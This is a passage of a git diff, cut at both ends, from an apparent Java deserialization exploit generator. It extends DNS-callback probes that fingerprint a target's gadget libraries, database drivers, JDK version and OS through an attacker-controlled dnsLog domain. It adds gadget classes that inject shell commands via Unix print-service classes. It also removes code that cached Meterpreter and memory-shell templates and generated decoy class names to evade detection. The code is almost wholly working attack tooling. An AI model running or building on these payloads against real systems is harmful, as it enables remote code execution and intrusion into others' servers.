getURLDNSGadget("ibm_ObjectFactory2." + dnsLog, "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory"); + Object snakeyaml = getURLDNSGadget("snakeyaml." + dnsLog, "org.yaml.snakeyaml.Yaml"); + Object xstream = getURLDNSGadget("xstream." + dnsLog, "com.thoughtworks.xstream.XStream"); + Object mvel2_ShellSession = getURLDNSGadget("mvel2_ShellSession." + dnsLog, "org.mvel2.sh.ShellSession"); + Object mvel2 = getURLDNSGadget("mvel2." + dnsLog, "org.mvel2.MVEL"); + Object jexl2 = getURLDNSGadget("jexl2." + dnsLog, "org.apache.commons.jexl2.JexlParser"); + Object jexl3 = getURLDNSGadget("jexl3." + dnsLog, "org.apache.commons.jexl3.scripting.JexlScriptEngine"); + Object ognl = getURLDNSGadget("ognl." + dnsLog, "com.opensymphony.xwork2.ActionSupport"); + Object NativeLibLoader = getURLDNSGadget("NativeLibLoader." + dnsLog, "com.sun.glass.utils.NativeLibLoader"); + Object velocity_jndi_write = getURLDNSGadget("velocity_jndi_write." + dnsLog, "org.apache.velocity.texen.util.FileUtil"); + Object h2_create_dir = getURLDNSGadget("h2_create_dir." + dnsLog, "org.h2.store.fs.FileUtils"); + Object websphere_jar_rce_ClientJ2CCFFactory = getURLDNSGadget("websphere_jar_rce_ClientJ2CCFFactory." + dnsLog, "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory"); + Object websphere_jar_rce_ServiceFactory = getURLDNSGadget("websphere_jar_rce_ServiceFactory." + dnsLog, "com.ibm.ws.client.applicationclient.ServiceFactory"); + Object PropertiesConfiguration = getURLDNSGadget("PropertiesConfiguration." + dnsLog, "org.apache.commons.configuration.PropertiesConfiguration"); + list.add(BeanFactory_game_over); + list.add(BeanFactory_yes); + list.add(bes_BeanFactory); + list.add(el); + list.add(groovy); + list.add(BurlapProxyFactory_ObjectFactory); + list.add(MemoryUserDatabaseFactory_ObjectFactory); + list.add(UserDatabase); + list.add(GenericNamingResourcesFactory_ObjectFactory); + list.add(Configuration_modify_system_property); + list.add(Configuration2_modify_system_property); + list.add(groovy_modify_system_env); + list.add(ibm_ObjectFactory); + list.add(ibm_ObjectFactory2); + list.add(snakeyaml); + list.add(xstream); + list.add(mvel2_ShellSession); + list.add(mvel2); + list.add(jexl2); + list.add(jexl3); + list.add(ognl); + list.add(NativeLibLoader); + list.add(velocity_jndi_write); + list.add(h2_create_dir); + list.add(websphere_jar_rce_ClientJ2CCFFactory); + list.add(websphere_jar_rce_ServiceFactory); + list.add(PropertiesConfiguration); + break; + case "datasource": + Object jndi_factory_bypass_alibaba_druid = getURLDNSGadget("jndi_factory_bypass_alibaba_druid." + dnsLog, "com.alibaba.druid.pool.DruidDataSourceFactory"); + list.add(jndi_factory_bypass_alibaba_druid); + Object jndi_factory_bypass_tomcat7_and_dbcp1 = getURLDNSGadget("jndi_factory_bypass_tomcat7_and_dbcp1." + dnsLog, "org.apache.tomcat.dbcp.dbcp1.BasicDataSource"); + list.add(jndi_factory_bypass_tomcat7_and_dbcp1); + Object jndi_factory_bypass_tomcat8_and_dbcp2 = getURLDNSGadget("jndi_factory_bypass_tomcat8_and_dbcp2." + dnsLog, "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"); + list.add(jndi_factory_bypass_tomcat8_and_dbcp2); + Object jndi_factory_bypass_common_dbcp = getURLDNSGadget("jndi_factory_bypass_common_dbcp." + dnsLog, "org.apache.commons.dbcp.BasicDataSourceFactory"); + list.add(jndi_factory_bypass_common_dbcp); + Object jndi_factory_bypass_common_dbcp2 = getURLDNSGadget("jndi_factory_bypass_common_dbcp2." + dnsLog, "org.apache.commons.dbcp2.BasicDataSourceFactory"); + list.add(jndi_factory_bypass_common_dbcp2); + Object jndi_factory_bypass_tomcat_jdbc = getURLDNSGadget("jndi_factory_bypass_tomcat_jdbc." + dnsLog, "org.apache.tomcat.jdbc.pool.DataSourceFactory"); + list.add(jndi_factory_bypass_tomcat_jdbc); + Object jndi_spring = getURLDNSGadget("jndi_spring." + dnsLog, "org.springframework.beans.factory.config.PropertyPathFactoryBean"); + list.add(jndi_spring); + Object HikariJNDIFactory_DataSource = getURLDNSGadget("HikariJNDIFactory_DataSource." + dnsLog, "com.zaxxer.hikari.HikariJNDIFactory"); + list.add(HikariJNDIFactory_DataSource); + Object teradata_DataSource = getURLDNSGadget("teradata_DataSource." + dnsLog, "com.teradata.jdbc.TeraDataSource"); + list.add(teradata_DataSource); + break; + case "db": + Object mysql_driver = getURLDNSGadget("mysql_driver." + dnsLog, "com.mysql.jdbc.Driver"); + Object mysql_cj_driver = getURLDNSGadget("mysql_cj_driver." + dnsLog, "com.mysql.cj.jdbc.Driver"); + Object postgresql_driver = getURLDNSGadget("postgresql_driver." + dnsLog, "org.postgresql.Driver"); + Object hsqldb_driver = getURLDNSGadget("hsqldb_driver." + dnsLog, "org.hsqldb.jdbcDriver"); + Object h2_driver = getURLDNSGadget("h2_driver." + dnsLog, "org.h2.Driver"); + Object sqlite_driver = getURLDNSGadget("sqlite_driver." + dnsLog, "org.sqlite.JDBC"); + Object derby_driver = getURLDNSGadget("derby_driver." + dnsLog, "org.apache.derby.jdbc.EmbeddedDriver"); + Object teradata_drvier = getURLDNSGadget("teradata_drvier." + dnsLog, "com.teradata.jdbc.TeraDriver"); + Object db2_driver = getURLDNSGadget("db2_driver." + dnsLog, "COM.ibm.db2.jcc.DB2Driver"); + Object modeshape_driver = getURLDNSGadget("modeshape_driver." + dnsLog, "org.modeshape.jdbc.LocalJcrDriver"); + Object fabric_driver = getURLDNSGadget("fabric_driver." + dnsLog, "com.mysql.fabric.jdbc.FabricMySQLDriver"); + Object dm_driver = getURLDNSGadget("dm_driver." + dnsLog, "dm.jdbc.driver.DmDriver"); + Object sqlserver_driver = getURLDNSGadget("sqlserver_driver." + dnsLog, "com.microsoft.sqlserver.jdbc.SQLServerDriver"); + Object microsoft_driver = getURLDNSGadget("microsoft_driver." + dnsLog, "com.microsoft.jdbc.sqlserver.SQLServerDriver"); + Object oracle_driver = getURLDNSGadget("oracle_driver." + dnsLog, "oracle.jdbc.OracleDriver"); + Object oracle_driver2 = getURLDNSGadget("oracle_driver2." + dnsLog, "oracle.jdbc.driver.OracleDriver"); + Object jtds_driver = getURLDNSGadget("jtds_driver." + dnsLog, "net.sourceforge.jtds.jdbc.Driver"); + Object mariadb_driver = getURLDNSGadget("mariadb_driver." + dnsLog, "org.mariadb.jdbc.Driver"); + Object kingbase_driver = getURLDNSGadget("kingbase_driver." + dnsLog, "com.kingbase.Driver"); + Object kingbase8_driver = getURLDNSGadget("kingbase8_driver." + dnsLog, "com.kingbase8.Driver"); + Object shen_tong_driver = getURLDNSGadget("shen_tong_driver." + dnsLog, "com.oscar.Driver"); + Object Gbase8s_driver = getURLDNSGadget("Gbase8s_driver." + dnsLog, "com.gbasedbt.jdbc.Driver"); + Object xugu_driver = getURLDNSGadget("xugu_driver." + dnsLog, "com.xugu.cloudjdbc.Driver"); + Object GoldenDB_driver = getURLDNSGadget("GoldenDB_driver." + dnsLog, "com.goldendb.jdbc.Driver"); + list.add(mysql_driver); + list.add(mysql_cj_driver); + list.add(postgresql_driver); + list.add(hsqldb_driver); + list.add(h2_driver); + list.add(sqlite_driver); + list.add(derby_driver); + list.add(teradata_drvier); + list.add(db2_driver); + list.add(modeshape_driver); + list.add(fabric_driver); + list.add(dm_driver); + list.add(sqlserver_driver); + list.add(microsoft_driver); + list.add(oracle_driver); + list.add(oracle_driver2); + list.add(jtds_driver); + list.add(mariadb_driver); + list.add(kingbase_driver); + list.add(kingbase8_driver); + list.add(shen_tong_driver); + list.add(Gbase8s_driver); + list.add(xugu_driver); + list.add(GoldenDB_driver); + break; + case "cb": + Object cb17 = getURLDNSGadget("cb17." + dnsLog, "org.apache.commons.beanutils.MappedPropertyDescriptor$1"); + Object cb18 = getURLDNSGadget("cb18." + dnsLog, "org.apache.commons.beanutils.DynaBeanMapDecorator$MapEntry"); + Object cb19 = getURLDNSGadget("cb19." + dnsLog, "org.apache.commons.beanutils.BeanIntrospectionData"); + Object cb_BeanComparator = getURLDNSGadget("cb_BeanComparator." + dnsLog, "org.apache.commons.beanutils.BeanComparator"); + list.add(cb17); + list.add(cb18); + list.add(cb19); + list.add(cb_BeanComparator); + break; case "CommonsCollections13567": //CommonsCollections1/3/5/6/7链,需要<=3.2.1版本 - Object cc31or321 = getURLDNSGadget("cc31or321." + dnsLog, "org.apache.commons.collections.functors.ChainedTransformer"); + Object cc3_ChainedTransformer = getURLDNSGadget("cc3_ChainedTransformer." + dnsLog, "org.apache.commons.collections.functors.ChainedTransformer"); + Object cc31 = getURLDNSGadget("cc31." + dnsLog, "org.apache.commons.collections.list.TreeList"); + Object cc4_exist = getURLDNSGadget("cc4_exist." + dnsLog, "org.apache.commons.collections4.comparators.TransformingComparator"); + Object cc40_ChainedTransformer = getURLDNSGadget("cc40_ChainedTransformer." + dnsLog, "org.apache.commons.collections4.functors.ChainedTransformer"); Object cc322 = getURLDNSGadget("cc322." + dnsLog, "org.apache.commons.collections.ExtendedProperties$1"); - list.add(cc31or321); + Object cc41_game_over = getURLDNSGadget("cc41_game_over." + dnsLog, "org.apache.commons.collections4.FluentIterable"); + list.add(cc3_ChainedTransformer); list.add(cc322); + list.add(cc4_exist); + list.add(cc40_ChainedTransformer); + list.add(cc41_game_over); + list.add(cc31); break; case "CommonsCollections24": //CommonsCollections2/4链,需要4-4.0版本 @@ -158,15 +455,6 @@ public class URLDNS implements ObjectPayload { list.add(cc40); list.add(cc41); break; - case "CommonsBeanutils2": - //CommonsBeanutils2链,serialVersionUID不同,1.7x-1.8x为-3490850999041592962,1.9x为-2044202215314119608 - Object cb17 = getURLDNSGadget("cb17." + dnsLog, "org.apache.commons.beanutils.MappedPropertyDescriptor$1"); - Object cb18x = getURLDNSGadget("cb18x." + dnsLog, "org.apache.commons.beanutils.DynaBeanMapDecorator$MapEntry"); - Object cb19x = getURLDNSGadget("cb19x." + dnsLog, "org.apache.commons.beanutils.BeanIntrospectionData"); - list.add(cb17); - list.add(cb18x); - list.add(cb19x); - break; case "C3P0": //c3p0,serialVersionUID不同,0.9.2pre2-0.9.5pre8为7387108436934414104,0.9.5pre9-0.9.5.5为7387108436934414104 Object c3p092x = getURLDNSGadget("c3p092x." + dnsLog, "com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); @@ -193,9 +481,11 @@ public class URLDNS implements ObjectPayload { Object groovy1702311 = getURLDNSGadget("groovy1702311." + dnsLog, "org.codehaus.groovy.reflection.ClassInfo$ClassInfoSet"); Object groovy24x = getURLDNSGadget("groovy24x." + dnsLog, "groovy.lang.Tuple2"); Object groovy244 = getURLDNSGadget("groovy244." + dnsLog, "org.codehaus.groovy.runtime.dgm$1170"); + Object groovy_classloader = getURLDNSGadget("groovy_classloader." + dnsLog, "org.codehaus.groovy.runtime.dgm$1170"); list.add(groovy1702311); list.add(groovy24x); list.add(groovy244); + list.add(groovy_classloader); break; case "Becl": //Becl,JDK<8u251 @@ -209,8 +499,18 @@ public class URLDNS implements ObjectPayload { break; case "JRE8u20": //7u25<=JDK<=8u20,虽然叫JRE8u20其实JDK8u20也可以,这个检测不完美,8u25版本以及JDK<=7u21会误报,可综合Jdk7u21来看 - Object JRE8u20 = getURLDNSGadget("JRE8u20." + dnsLog, "javax.swing.plaf.metal.MetalFileChooserUI$DirectoryComboBoxModel$1"); - list.add(JRE8u20); + Object jdk7u21 = getURLDNSGadget("jdk7u21." + dnsLog, "com.sun.corba.se.impl.orbutil.ORBClassLoader"); + list.add(jdk7u21); + Object jdk_7u25_to_8u20 = getURLDNSGadget("jdk_7u25_to_8u20." + dnsLog, "javax.swing.plaf.metal.MetalFileChooserUI$DirectoryComboBoxModel$1"); + list.add(jdk_7u25_to_8u20); + Object AspectJWeaver = getURLDNSGadget("AspectJWeaver." + dnsLog, "org.aspectj.weaver.tools.cache.SimpleCache"); + list.add(AspectJWeaver); + Object ClassPathXmlApplicationContext = getURLDNSGadget("ClassPathXmlApplicationContext." + dnsLog, "org.springframework.context.support.ClassPathXmlApplicationContext"); + list.add(ClassPathXmlApplicationContext); + Object Rome_low_ToStringBean = getURLDNSGadget("Rome_low_ToStringBean." + dnsLog, "com.sun.syndication.feed.impl.ToStringBean"); + list.add(Rome_low_ToStringBean); + Object Rome_high_ObjectBean = getURLDNSGadget("Rome_high_ObjectBean." + dnsLog, "com.rometools.rome.feed.impl.ObjectBean"); + list.add(Rome_high_ObjectBean); break; case "ROME": //rome <= 1.11.1 @@ -219,10 +519,6 @@ public class URLDNS implements ObjectPayload { list.add(rome1000); list.add(rome1111); break; - case "Fastjson": - Object fastjson = getURLDNSGadget("fastjson." + dnsLog, "com.alibaba.fastjson.JSONArray"); - list.add(fastjson); - break; case "Jackson": //jackson-databind>=2.10.0存在一个链 //此链实战中有50%概率触发getStylesheetDOM导致不成功,因此需要org.springframework.aop.framework.JdkDynamicAopProxy封装,这个类的jar包和springAOP一样 @@ -238,28 +534,12 @@ public class URLDNS implements ObjectPayload { //windows/linux版本判断 Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData"); Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer"); + Object linux1 = getURLDNSGadget("linux." + dnsLog, "java.io.UnixFileSystem"); + Object windows1 = getURLDNSGadget("windows." + dnsLog, "java.io.WinNTFileSystem"); list.add(linux); list.add(windows); - break; - case "jdk17_22": - Object jdk17_22 = getURLDNSGadget("jdk17_22." + dnsLog, "jdk.internal.util.random.RandomSupport"); - list.add(jdk17_22); - break; - case "jdk9_22": - Object jdk9_22 = getURLDNSGadget("jdk9_22." + dnsLog, "jdk.internal.misc.Unsafe"); - list.add(jdk9_22); - break; - case "jdk6_8": - Object jdk6_8 = getURLDNSGadget("jdk6_8." + dnsLog, "sun.misc.BASE64Decoder"); - list.add(jdk6_8); - break; - case "jdk6_11": - Object jdk6_11 = getURLDNSGadget("jdk6_11." + dnsLog, "com.sun.awt.SecurityWarning"); - list.add(jdk6_11); - break; - case "jdk9_10": - Object jdk9_10 = getURLDNSGadget("jdk9_10." + dnsLog, "jdk.incubator.http.HttpClient"); - list.add(jdk9_10); + list.add(linux1); + list.add(windows1); break; case "all": @@ -267,11 +547,6 @@ public class URLDNS implements ObjectPayload { setList(defaultClass[i], dnsLog); } break; - case "jndiall": - for (int i = 0; i < jndidefaultclass.length; i++) { - setList(jndidefaultclass[i], dnsLog); - } - break; default: Object hm = getURLDNSGadget(clazzName.replace(".", "_").replace("$", "_") + "." + dnsLog, clazzName); list.add(hm); @@ -290,23 +565,37 @@ public class URLDNS implements ObjectPayload { String url = command.substring(sep + 1); switch (tYPE) { - // common 时会测试不常被黑名单禁用的类 - case "common": - setList("CommonsBeanutils2", url); - setList("C3P0", url); - setList("AspectJWeaver", url); - setList("bsh", url); - setList("winlinux", url); - break; - - // all 会测试全部类 case "all": setList("all", url); break; - - // jndi 时会测试JNDI相关的类 - case "jndiall": - setList("jndiall", url); + case "os": + setList("winlinux", url); + break; + case "cc": + setList("CommonsCollections13567", url); + setList("CommonsCollections24", url); + break; + case "cb": + setList("cb", url); + break; + case "db": + setList("db", url); + break; + // all 会测试全部类 + case "jndiAttack": + setList("jndiAttack", url); + break; + case "datasource": + setList("datasource", url); + break; + case "jdk": + setList("jdk", url); + break; + case "web": + setList("web", url); + break; + case "other": + setList("other", url); break; case "null": diff --git a/src/main/java/com/qi4l/JYso/gadgets/UnixPrintService.java b/src/main/java/com/qi4l/JYso/gadgets/UnixPrintService.java new file mode 100644 index 0000000..fef50e5 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/UnixPrintService.java @@ -0,0 +1,17 @@ +package com.qi4l.JYso.gadgets; + +import java.lang.reflect.Constructor; + +//该类未实现 Serializable,只适用于Hessian反序列化 并且只适用于unix/linux +//jdk高版本移除此类 +//通过getter方法触发命令注入 +//本地测试 zulu8u345 存在此类 +public class UnixPrintService implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + Class ups = Class.forName("sun.print.UnixPrintService"); + Constructor declaredConstructor = ups.getDeclaredConstructor(String.class); + declaredConstructor.setAccessible(true); + return declaredConstructor.newInstance(";" + command); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/UnixPrintServiceLookup.java b/src/main/java/com/qi4l/JYso/gadgets/UnixPrintServiceLookup.java new file mode 100644 index 0000000..25bc633 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/UnixPrintServiceLookup.java @@ -0,0 +1,20 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import sun.misc.Unsafe; + +import java.lang.reflect.Field; + +public class UnixPrintServiceLookup implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafe.setAccessible(true); + Unsafe unsafe = (Unsafe) theUnsafe.get(null); + Object unixPrintServiceLookup = unsafe.allocateInstance(Class.forName("sun.print.UnixPrintServiceLookup")); + Reflections.setFieldValue(unixPrintServiceLookup, "cmdIndex", 0); + Reflections.setFieldValue(unixPrintServiceLookup, "osname", "xx"); + Reflections.setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{command, command, command}); + return unixPrintServiceLookup; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ByteUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ByteUtil.java index ead22d6..179d1e0 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/ByteUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ByteUtil.java @@ -1,10 +1,5 @@ package com.qi4l.JYso.gadgets.utils; -import java.io.ByteArrayOutputStream; -import java.io.DataOutputStream; -import java.io.IOException; -import java.io.ObjectOutputStream; - public class ByteUtil { public static int getSubarrayIndex(byte[] haystack, byte[] needle) { outer: @@ -37,55 +32,4 @@ public class ByteUtil { return ret; } - public static byte[] addAtIndex(byte[] bs, int index, byte b) { - int length = bs.length + 1; - byte[] ret = new byte[length]; - - System.arraycopy(bs, 0, ret, 0, index); - ret[index] = b; - System.arraycopy(bs, index, ret, index + 1, length - index - 1); - - return ret; - } - - public static byte[] addAtLast(byte[] bs, byte b) { - int length = bs.length + 1; - byte[] ret = new byte[length]; - - System.arraycopy(bs, 0, ret, 0, length - 1); - ret[length - 1] = b; - - return ret; - } - - public static byte[] objectsToBytes(Object[] objs) throws Exception { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - DataOutputStream dos = new DataOutputStream(baos); - for (Object obj : objs) { - treatObject(dos, obj); - } - dos.close(); - return baos.toByteArray(); - } - - private static void treatObject(DataOutputStream dos, Object obj) - throws IOException { - if (obj instanceof Byte) { - dos.writeByte((Byte) obj); - } else if (obj instanceof Short) { - dos.writeShort((Short) obj); - } else if (obj instanceof Integer) { - dos.writeInt((Integer) obj); - } else if (obj instanceof Long) { - dos.writeLong((Long) obj); - } else if (obj instanceof String) { - dos.writeUTF((String) obj); - } else { - ByteArrayOutputStream ba = new ByteArrayOutputStream(); - ObjectOutputStream oos = new ObjectOutputStream(ba); - oos.writeObject(obj); - oos.close(); - dos.write(ba.toByteArray(), 4, ba.size() - 4); // 4 = skip the header - } - } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Cache.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Cache.java deleted file mode 100644 index 37d2aba..0000000 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Cache.java +++ /dev/null @@ -1,54 +0,0 @@ -package com.qi4l.JYso.gadgets.utils; - -import com.qi4l.JYso.template.echoStatic.Meterpreter; -import com.qi4l.JYso.template.echoStatic.SpringEcho; -import com.qi4l.JYso.template.echoStatic.TomcatEcho; -import com.qi4l.JYso.template.isOK; -import com.qi4l.JYso.template.isSuccess; -import com.qi4l.JYso.template.memshellStatic.Websphere.WebsphereMemshellTemplate; -import com.qi4l.JYso.template.memshellStatic.jboss.JBFMSFromContextF; -import net.jodah.expiringmap.ExpirationPolicy; -import net.jodah.expiringmap.ExpiringMap; - -import java.util.concurrent.TimeUnit; - -public class Cache { - private static ExpiringMap map = ExpiringMap.builder() - .maxSize(1000) - .expiration(30, TimeUnit.SECONDS) - .variableExpiration() - .expirationPolicy(ExpirationPolicy.CREATED) - .build(); - - static { - try { - //过期时间100年,永不过期的简单方法 - map.put("TomcatEcho", Utils.getClassBytes(TomcatEcho.class), 365 * 100, TimeUnit.DAYS); - map.put("SpringEcho", Utils.getClassBytes(SpringEcho.class), 365 * 100, TimeUnit.DAYS); - map.put("JBossMemshellTemplate", Utils.getClassBytes(JBFMSFromContextF.class), 365 * 100, TimeUnit.DAYS); - map.put("WebsphereMemshellTemplate", Utils.getClassBytes(WebsphereMemshellTemplate.class), 365 * 100, TimeUnit.DAYS); - map.put("isOK", Utils.getClassBytes(isOK.class), 365 * 100, TimeUnit.DAYS); - //测试添加到cache中 - map.put("isSuccess", Utils.getClassBytes(isSuccess.class), 365 * 100, TimeUnit.DAYS); - map.put("Meterpreter", ClassByteChange.update(Meterpreter.class), 365 * 100, TimeUnit.DAYS); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public static byte[] get(String key) { - return map.get(key); - } - - public static void set(String key, byte[] bytes) { - map.put(key, bytes); - } - - public static boolean contains(String key) { - return map.containsKey(key); - } - - public static void remove(String key) { - map.remove(key); - } -} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java index 1e1bfc7..d9e8913 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java @@ -1,30 +1,30 @@ package com.qi4l.JYso.gadgets.utils; import com.qi4l.JYso.gadgets.Config.Config; -import com.qi4l.JYso.template.echoStatic.Meterpreter; import javassist.*; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import java.io.File; -import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; +import java.nio.file.Files; +import java.nio.file.Paths; public class ClassByteChange { + private static final Logger log = LoggerFactory.getLogger(ClassByteChange.class); + public static void main(String[] args) { try { - update(Meterpreter.class); - } catch (NotFoundException e) { - e.printStackTrace(); - } catch (CannotCompileException e) { - e.printStackTrace(); - } catch (IOException e) { - e.printStackTrace(); + update(); + } catch (NotFoundException | CannotCompileException | IOException e) { + log.error("e: ", e); } } //动态获取.class - public static byte[] update(Class clazz) throws NotFoundException, CannotCompileException, IOException { + public static byte[] update() throws NotFoundException, CannotCompileException, IOException { File dir = new File(""); String ap = dir.getAbsolutePath(); @@ -49,7 +49,7 @@ public class ClassByteChange { //替换原有的文件 cClass.writeFile(ap); - InputStream in = new FileInputStream(ap + File.separatorChar + "Meterpreter.class"); + InputStream in = Files.newInputStream(Paths.get(ap + File.separatorChar + "Meterpreter.class")); return Utils.getBytes(in); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassNameUtils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassNameUtils.java deleted file mode 100644 index b83ecfc..0000000 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassNameUtils.java +++ /dev/null @@ -1,88 +0,0 @@ -package com.qi4l.JYso.gadgets.utils; - -import java.net.JarURLConnection; -import java.net.URL; -import java.util.Enumeration; -import java.util.HashSet; -import java.util.Set; -import java.util.jar.JarEntry; -import java.util.jar.JarFile; - -public class ClassNameUtils { - public static ClassLoader loader = new SuClassLoader(); - - public static Set set = null; - - /** - * 生成一个咋一下不出来问题的,但是在用户实际环境不存在的类名 - * 本来想直接用哥斯拉的 txt,但估计特征都被搞完了,这里自实现一个方法 - * 因为 apache 基金会的开源项目非常多,几乎大多数项目都会用到,所以看到 org.apache 包名的类也不会惊讶 - * 这里的逻辑是,获取目前项目中所有 org.apache 包下的类名,随机取两个,第一个取前三个包名,第二个取后三个包名进行拼接 - * - * @return 返回类型 - */ - public static String generateClassName() { - if (set == null) { - set = getClassSet("org.apache"); - } - Object[] array = set.toArray(); - - String name1 = array[(int) (Math.random() * array.length)].toString(); - String name2 = name1; - - while (name1.equals(name2)) { - name2 = array[(int) (Math.random() * array.length)].toString(); - } - - // 获取第一个包的前三个包名 - name1 = name1.substring(0, name1.indexOf(".", 11)); - - // 获取第二个包的后三个包名 - String temp = name2.substring(0, name2.lastIndexOf(".")); - temp = temp.substring(0, temp.lastIndexOf(".")); - temp = temp.substring(0, temp.lastIndexOf(".")); - name2 = name2.substring(temp.length()); - - String newName = name1 + name2; - - if (set.contains(newName)) { - return generateClassName(); - } else { - return newName; - } - } - - public static Set getClassSet(String packageName) { - Set classSet = new HashSet<>(); - try { - Enumeration urls = loader.getResources(packageName.replace(".", "/")); - while (urls.hasMoreElements()) { - URL url = urls.nextElement(); - if (url != null) { - String protocol = url.getProtocol(); - if (protocol.equals("jar")) { - JarURLConnection jarURLConnection = (JarURLConnection) url.openConnection(); - if (jarURLConnection != null) { - JarFile jarFile = jarURLConnection.getJarFile(); - if (jarFile != null) { - Enumeration jarEntries = jarFile.entries(); - while (jarEntries.hasMoreElements()) { - JarEntry jarEntry = jarEntries.nextElement(); - String jarEntryName = jarEntry.getName(); - if (jarEntryName.endsWith(".class")) { - String className = jarEntryName.substring(0, jarEntryName.lastIndexOf(".")).replaceAll("/", "."); - if (!className.contains("$") && className.startsWith(packageName)) { - classSet.add(className); - } - } - } - } - } - } - } - } - } catch (Exception ignored) { - } - return classSet; - } -} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java index e562075..39474e0 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java @@ -1,20 +1,20 @@ package com.qi4l.JYso.gadgets.utils; +import com.qi4l.JYso.gadgets.JDKUtil; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.CtClass; import javassist.CtConstructor; -import sun.misc.Unsafe; import java.lang.reflect.*; import java.util.Base64; import java.util.HashMap; -import java.util.Hashtable; import java.util.Map; import static com.qi4l.JYso.gadgets.Config.Config.*; +import static com.qi4l.JYso.gadgets.JDKUtil.createProxy; import static com.qi4l.JYso.gadgets.utils.Utils.saveCtClassToFile; import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.insertField; import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertCMD; @@ -25,9 +25,9 @@ import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIA public class Gadgets extends ClassLoader { public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; - public static Class TPL_CLASS = TemplatesImpl.class; - public static Class ABST_TRANSLET = AbstractTranslet.class; - public static Class TRANS_FACTORY = TransformerFactoryImpl.class; + public static Class TPL_CLASS = TemplatesImpl.class; + public static Class ABST_TRANSLET = AbstractTranslet.class; + public static Class TRANS_FACTORY = TransformerFactoryImpl.class; static { // special case for using TemplatesImpl gadgets with a SecurityManager enabled @@ -57,32 +57,8 @@ public class Gadgets extends ClassLoader { } - public static T createProxy(final InvocationHandler ih, final Class iface, final Class... ifaces) { - final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); - allIfaces[0] = iface; - if (ifaces.length > 0) { - System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); - } - return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); - } - - public static Map createMap(final String key, final Object val) { - final Map map = new HashMap(); - map.put(key, val); - return map; - } - - private static void patchModule(Class clazz, Class goalclass) { - try { - Class UnsafeClass = Class.forName("sun.misc.Unsafe"); - Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe"); - unsafeField.setAccessible(true); - Unsafe unsafe = (Unsafe) unsafeField.get(null); - Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass); - unsafe.getAndSetObject(clazz, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), ObjectModule); - } catch (Exception e) { - } + return JDKUtil.createMap(key, val); } public static Object createTemplatesImpl(String command) throws Exception { @@ -93,14 +69,14 @@ public class Gadgets extends ClassLoader { command = command.substring(1, command.length() - 1); } - CtClass ctClass = null; + CtClass ctClass; byte[] classBytes = new byte[0]; String newClassName = generateClassName(); final Object templates = TPL_CLASS.newInstance(); POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); - CtClass superClass = POOL.get(ABST_TRANSLET.getName()); + POOL.get(ABST_TRANSLET.getName()); // 扩展功能 if (command.startsWith("EX-") || command.startsWith("LF-")) { @@ -124,21 +100,22 @@ public class Gadgets extends ClassLoader { // 如果全局配置继承,再设置父类 if (IS_INHERIT_ABSTRACT_TRANSLET) { - shrinkBytes(ctClass); + if (ctClass != null) { + shrinkBytes(ctClass); + } // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 - if (!"java.lang.Object".equals(ctClass.getSuperclass().getName())) { + // 否则直接设置父类 + if (ctClass != null && !"java.lang.Object".equals(ctClass.getSuperclass().getName())) { ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); - } else { - // 否则直接设置父类 - ctClass.defrost(); - ctClass.setSuperclass(superClass); } } // 按需保存文件 saveCtClassToFile(ctClass); - classBytes = ctClass.toBytecode(); + if (ctClass != null) { + classBytes = 